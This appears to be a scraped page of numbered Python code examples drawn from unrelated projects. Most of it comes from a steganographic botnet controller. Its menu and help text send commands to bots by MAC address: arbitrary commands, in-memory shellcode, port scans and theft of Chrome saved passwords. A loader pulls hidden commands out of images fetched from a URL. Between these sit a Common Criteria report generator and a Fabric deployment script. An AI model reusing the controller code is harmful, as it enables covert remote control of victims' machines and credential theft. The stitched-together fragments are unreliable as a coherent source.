            list_bots()
        elif (cmd_to_launch == 'commands'):
            list_commands()
        elif (cmd_to_launch == 'help'):
            help()
        elif (cmd_to_launch == 'cleanup'):
            cleanup()
        elif (cmd_to_launch == 'exit'):
            sys.exit(0)
        else:
            cmd_to_launch = cmd_to_launch.split(' ')
            if (cmd_to_launch[0] == "cmd"):
                cmd = CommandToSend('master', cmd_to_launch[1], ' '.join(cmd_to_launch[2:]))
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved' , 'white')))
                    print((colored("[+] Sent command %s with jobid: %s" % (' '.join(cmd_to_launch[2:]), cmd.get_jobid()), "white")))
                else:
                    print((colored('[-] Error saving the image. Try again' , 'yellow')))
        
            elif (cmd_to_launch[0] == "shellcode"):
                cmd = CommandToSend('master', cmd_to_launch[1], 'shellcode %s' % base64.b64encode(cmd_to_launch[2]))
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved' , 'white')))
                    print((colored("[+] Sent shellcode with jobid: %s" % (cmd.get_jobid()), "white")))

                else:
                    print((colored('[-] Error saving the image. Try again' , 'yellow')))

            elif (cmd_to_launch[0] == "scanner"):
                cmd = CommandToSend('master', cmd_to_launch[1], 'scanner %s' % cmd_to_launch[2])
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved' , 'white')))
                    print((colored("[+] Sent scanner with jobid: %s" % (cmd.get_jobid()), "white")))

                else:
                    print((colored('[-] Error saving the image. Try again' , 'yellow')))

            elif (cmd_to_launch[0] == "chromepasswords"):
                cmd = CommandToSend('master', cmd_to_launch[1], 'chromepasswords')
                saveimg = ImageHandle()

                if (saveimg.save(cmd.build(), cmd.get_jobid())):
                    print((colored('[+] Steganography applied, image saved' , 'white')))
                    print((colored("[+] Retrieve chrome passwords with jobid: %s" % (cmd.get_jobid()), "white")))

                else:
                    print((colored('[-] Error saving the image. Try again' , 'yellow')))


            elif (cmd_to_launch[0] == "retrieve"):
                retrieve_command(cmd_to_launch[1])
            else:
                print((colored("[!] Unrecognized command", "yellow")))
Example #32
0
def help():
    helpcolor = "white"
    print(os.linesep)
    print((colored(' cleanup - Clean Cloud Service images', helpcolor)))
    print((colored(' refresh - Refresh C&C control and ping all bots',
                   helpcolor)))
    print((colored(' bots - List active bots', helpcolor)))
    print((colored(' commands - List executed commands', helpcolor)))
    print((colored(' retrieve <jobid> - Retrieve jobid command', helpcolor)))
    print((colored(
        ' cmd <MAC ADDRESS> command - Execute the command on the bot',
        helpcolor)))
    print((colored(
        ' shellcode <MAC ADDRESS> shellcode - Load and execute shellcode in memory (Windows only)',
        helpcolor)))
    print((colored(
        ' scanner <MAC ADDRESS> <IP>:<PORT> - Port scanner example: scanner 0:0:0:0 192.168.1.1:22,80,443',
        helpcolor)))
    print((colored(
        ' chromepasswords <MAC ADDRESS> - Retrieve Chrome Passwords from bot (Windows only)',
        helpcolor)))
    print((colored(' help - Print this usage', helpcolor)))
    print((colored(' exit - Exit the client', helpcolor)))
    print(os.linesep)
Example #33
0
def help():
    helpcolor = "white"
    print(os.linesep)
    print((colored(' cleanup - Clean Cloud Service images', helpcolor)))
    print((colored(' refresh - Refresh C&C control and ping all bots', helpcolor)))
    print((colored(' bots - List active bots', helpcolor)))
    print((colored(' commands - List executed commands', helpcolor)))
    print((colored(' retrieve <jobid> - Retrieve jobid command', helpcolor)))
    print((colored(' cmd <MAC ADDRESS> command - Execute the command on the bot', helpcolor)))
    print((colored(' shellcode <MAC ADDRESS> shellcode - Load and execute shellcode in memory (Windows only)', helpcolor)))
    print((colored(' scanner <MAC ADDRESS> <IP>:<PORT> - Port scanner example: scanner 0:0:0:0 192.168.1.1:22,80,443', helpcolor)))
    print((colored(' chromepasswords <MAC ADDRESS> - Retrieve Chrome Passwords from bot (Windows only)', helpcolor)))
    print((colored(' help - Print this usage', helpcolor)))
    print((colored(' exit - Exit the client', helpcolor)))
    print(os.linesep)
Example #34
0
    def queryworkunit(self, family, nparagraphs, filedb, cc_txt_file, outputdirectorychecklist, docx, xlsx):

        if not (os.path.isfile(filedb)):
          print os.linesep + "Error loading database. Must run CCParser.py first" + os.linesep
          sys.exit(1)
        # Database
        try:
            # Create or open a SQLite3 DB
            dbmgr1 = DatabaseManager(filedb)
            dbmgr2 = DatabaseManager(filedb)
            dbmgr3 = DatabaseManager(filedb)
            dbmgr4 = DatabaseManager(filedb)
            dbmgr5 = DatabaseManager(filedb)
            dbmgr6 = DatabaseManager(filedb)
            dbmgr7 = DatabaseManager(filedb)
            dbmgr8 = DatabaseManager(filedb)
            dbmgr9 = DatabaseManager(filedb)
        except NameError:
            print os.linesep + "Error loading database" + os.linesep
            sys.exit(1)

        # Initialization
        n=1 # Workunit number
        paragraph = int(nparagraphs) # number of paragraphs to write
        if (paragraph > 4): paragraph = 4
        data = dict()

        # Sub Activity
        query1 = "select child3.idelement, child3.name, child3.paratext, child5.paratext from child3, child4, child5 where child3.idelement like \"%"+family+"%\" and child3.id = child4.parentkey and child4.element=\"msa-objectives\" and child4.id = child5.parentkey group by child3.paratext"

        for row in dbmgr1.query(query1):
          txtsubactivity = row[2].upper() +": " + row[1]
          print ((colored("[-] "+ txtsubactivity, 'green')))
          printeval = "Evaluation of sub-activity (" + row[1] +": " + row[2].upper() +") " + row[3]

          print_title_txt(printeval, cc_txt_file, outputdirectorychecklist)

          docx.add_heading(row[2].upper(), level=1)
          p = docx.add_paragraph("Evaluation of sub-activity (")
          p.add_run(row[1] +": " + row[2].upper()).bold = True
          p.add_run(") " + row[3])

          xlsx.write(0, 0, txtsubactivity)


        # Workunits
        query2 = "select child4.id, child4.paratext, child4.element, child4.idelement from child3, child4 where child3.idelement like \"%"+family+"%\" and child3.id = child4.parentkey ORDER BY child3.id"
        for row in dbmgr2.query(query2):
          if (row[2]=="ae-evaluator"): 
            print_result_linesep_txt(row[1], cc_txt_file, outputdirectorychecklist)
            docx.add_paragraph(row[1])

          if (row[2]=="ae-content"): 
            data[row[3]] = row[1]

          query3 = "select child5.id, child5.paratext from child5  where  child5.element = \"m-workunit\" and child5.parentkey = "+str(row[0])+" ORDER BY child5.id"
          for row2 in dbmgr3.query(query3):
              mworkunit = family + "-" + str(n)

              print_result_txt(os.linesep, cc_txt_file, outputdirectorychecklist)
              print_result_txt("Workunit: " + mworkunit, cc_txt_file, outputdirectorychecklist)

              p2 = docx.add_paragraph()
              p2.add_run("Workunit: " + mworkunit).bold = True

              xlsx.write(n+1, 0, "Workunit: " + mworkunit)

              n = n+1

              # Workunit text
              query4 = "select child6.element, child6.paratext, child6.idelement, child6.id from child6  where child6.parentkey = "+str(row2[0])+" ORDER BY child6.id"
              n_para = 0 # paragraphs number

              for row3 in dbmgr4.query(query4):
                aedcelement = ""
                if (row3[2]):
                  aedcelement = data[row3[2]]

                  print_result_txt(aedcelement, cc_txt_file, outputdirectorychecklist)

                  docx.add_paragraph(aedcelement)

                if (row3[3] in (4009, 4068, 4141, 4209, 2779, 2841, 3948, 4023, 2801, 2868, 4083, 2825, 4156, 2895, 3025, 2674, 2750, 2677, 2753, 3477, 3495, 3571, 3695, 2564, 3016)): # AVA_VAN.1-11, AVA_VAN.1-12, etc
                  n_para = n_para +1

                  print_result_txt(row3[1], cc_txt_file, outputdirectorychecklist)

                  docx.add_paragraph(row3[1])

                  child7_para_query = 'SELECT id, parentkey, idelement, title, paratext, element FROM child7 WHERE parentkey = '+str(row3[3])+' ORDER BY id'
                  for para_item_7 in dbmgr5.query(child7_para_query):
                    if ((para_item_7[5]) == "list"):
                        child8_para_query = 'SELECT id, parentkey, idelement, title, paratext, element FROM child8 WHERE parentkey = '+str(para_item_7[0])+' ORDER BY id'
                        for para_item_8 in dbmgr6.query(child8_para_query):
                            if ((para_item_8[5]) == "item"): # element
                              #print "- " + para_item_8[4]
                              print_result_txt(("- " + para_item_8[4]), cc_txt_file, outputdirectorychecklist)
                              docx.add_paragraph(("- " + para_item_8[4]))
                              child9_para_query = 'SELECT id, parentkey, idelement, title, paratext, element FROM child9 WHERE parentkey = '+str(para_item_8[0])+' ORDER BY id'
                              for para_row_9 in dbmgr7.query(child9_para_query):
                                  if ((para_row_9[5]) == "italic" or (para_row_9[5]) == "bold" or (para_row_9[5]) == "xref"): # element
                                      print_result_txt((para_row_9[4]).encode('utf-8'), cc_txt_file, outputdirectorychecklist)
                                      docx.add_paragraph((para_row_9[4]).encode('utf-8'))

                elif (row3[3] in (1940, 3998, 2842, 1986, 3936, 2036, 2087, 2656, 2659, 2149, 2221, 4164, 2717, 2270, 2714)):
                  n_para = n_para +1
                  #print row3[1]
                  print_result_txt(row3[1], cc_txt_file, outputdirectorychecklist)
                  docx.add_paragraph(row3[1])

                  child7_para_query = 'SELECT id, parentkey, idelement, title, paratext, element FROM child7 WHERE parentkey = '+str(row3[3])+' ORDER BY id'
                  for para_item_7 in dbmgr5.query(child7_para_query):
                    if ((para_item_7[4])): # element
                        print_result_txt(para_item_7[4], cc_txt_file, outputdirectorychecklist)
                        docx.add_paragraph(para_item_7[4])
                  
                elif (n_para < paragraph):
                  num_string = len(row3[1])
                  if (row3[1] != aedcelement[:num_string]):
                    txtparagraph = row3[1]
                    child7_para_query = 'SELECT id, parentkey, idelement, title, paratext, element FROM child7 WHERE parentkey = '+str(row3[3])+' ORDER BY id'
                    for para_row_7 in dbmgr8.query(child7_para_query):
                      if ((para_row_7[5]) == "bold"):
                          txtparagraph += "<b> " + (para_row_7[4]).encode('utf-8') + " </b>"
                      if ((para_row_7[5]) == "italic"):
                          txtparagraph += "<i> " + (para_row_7[4]).encode('utf-8') + " </i>"
                      if ((para_row_7[5]) == "xref"):
                          txtparagraph += (para_row_7[4]).encode('utf-8') # paratext

                    print_result_txt(txtparagraph, cc_txt_file, outputdirectorychecklist)
                    docx.add_paragraph(txtparagraph)
                  n_para = n_para +1
Example #35
0
def main():

    # Get the command line parser.
    parser = cmdline_parser()

    # Show help if no args
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    #---------------------------------------------------------------------------

    # Get results line parser.
    results = parser.parse_args()

    #---------------------------------------------------------------------------

    # Fabric default
    if results.port:
        fabric_port = results.port
    else: fabric_port = '22'

    if results.user:
        fabric_user = results.user
    else: fabric_user = '******'

    if results.passwd:
        fabric_passwd = results.passwd
    else: fabric_passwd = None


    # rubygems
    command = "apt-get --yes --force-yes install rubygems build-essential"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))



    # gem env
    command = "gem env"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))



    # gem install bundler
    command = "gem install bundler"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))



    # gem install rails
    command = "gem install rails"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # apt-get install apache2 apache2-mpm-prefork apache2-prefork-dev
    command = "apt-get --yes --force-yes install apache2 apache2-mpm-prefork apache2-prefork-dev"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # apt-get install libcurl4-gnutls-dev
    command = "apt-get --yes --force-yes install libcurl4-gnutls-dev"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # libapache2-mod-passenger
    command = "apt-get --yes --force-yes install libapache2-mod-passenger"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # gem install sinatra
    command = "gem install sinatra"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # gem install passenger
    command = "gem install passenger"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # apache
    command = "service apache2 restart"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    # conf
    command_output, command_check = remote.copy('helloworld/apache2/files/sites-enabled/sinatra.conf', '/etc/apache2/sites-enabled', results.target, fabric_user, fabric_passwd, fabric_port)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - sites-enabled/sinatra.conf ', 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - sites-enabled/sinatra.conf ', 'yellow')))

    # ruby
    command_output, command_check = remote.copy('helloworld/ruby/files/simple-sinatra-app-master', '/var/www/', results.target, fabric_user, fabric_passwd, fabric_port)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - simple-sinatra-app-master', 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - simple-sinatra-app-master', 'yellow')))

    # apache
    command = "service apache2 restart"
    command_output, command_check, cmd = remote.execution(results.target, fabric_user, fabric_passwd, fabric_port, command)
    if (command_check == 'OK'):
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'green')))
    else:
    	print((colored(' - Execution: ' + command_check+' - CMD: ' + cmd, 'yellow')))


    print os.linesep
    #---------------------------------------------------------------------------

    #---------------------------------------------------------------------------
    # The End
    #---------------------------------------------------------------------------

    sys.exit(0)
Example #36
0
    def load(self, urlimg):
        global PASSPHRASEENTRY
        global DEFAULT_TAG
        global TEMPSTEGOIMG

        extractedmessage = ""

        try:
            img = urllib2.urlopen(urlimg).read()
            if len(img) != 503:  # 'image not found' is 503 bytes
                with open(os.path.join('./', TEMPSTEGOIMG), "wb") as f:
                    f.write(img)
        except:
            print((colored('[-] urllib2 error', 'yellow')))

        if (os.path.isfile(TEMPSTEGOIMG)):
            tmpdir = tempfile.mkdtemp()
            predictable_filename = 'tempfile'
            # Ensure the file is read/write by the creator only
            saved_umask = os.umask(0077)
            path = os.path.join(tmpdir, predictable_filename)
            pathtemp = tmpdir + "\wfile"

            try:
                with open(path, "wb") as tmp:
                    process = subprocess.Popen([
                        'steghide', 'extract', '-p', PASSPHRASEENTRY, '-q',
                        '-f', '-xf', path, '-sf', TEMPSTEGOIMG
                    ],
                                               stderr=subprocess.STDOUT,
                                               stdout=subprocess.PIPE)
                    out, err = process.communicate()
                    if out:
                        print out
                    if err:
                        print err

                    shutil.copy2(path, pathtemp)
                    tmp.close()

                file = open(pathtemp, 'r')
                extractedmessage = file.read()
                file.close()

            except IOError as e:
                print 'IOError' + str(e)
            else:
                if (os.path.isfile(path)):
                    os.remove(path)
                if (os.path.isfile(pathtemp)):
                    os.remove(pathtemp)
            finally:
                os.umask(saved_umask)
                if (os.path.isfile(path)):
                    os.remove(path)
                if (os.path.isfile(pathtemp)):
                    os.remove(pathtemp)
                if (os.path.isfile(TEMPSTEGOIMG)):
                    os.remove(TEMPSTEGOIMG)
                os.rmdir(tmpdir)

        return extractedmessage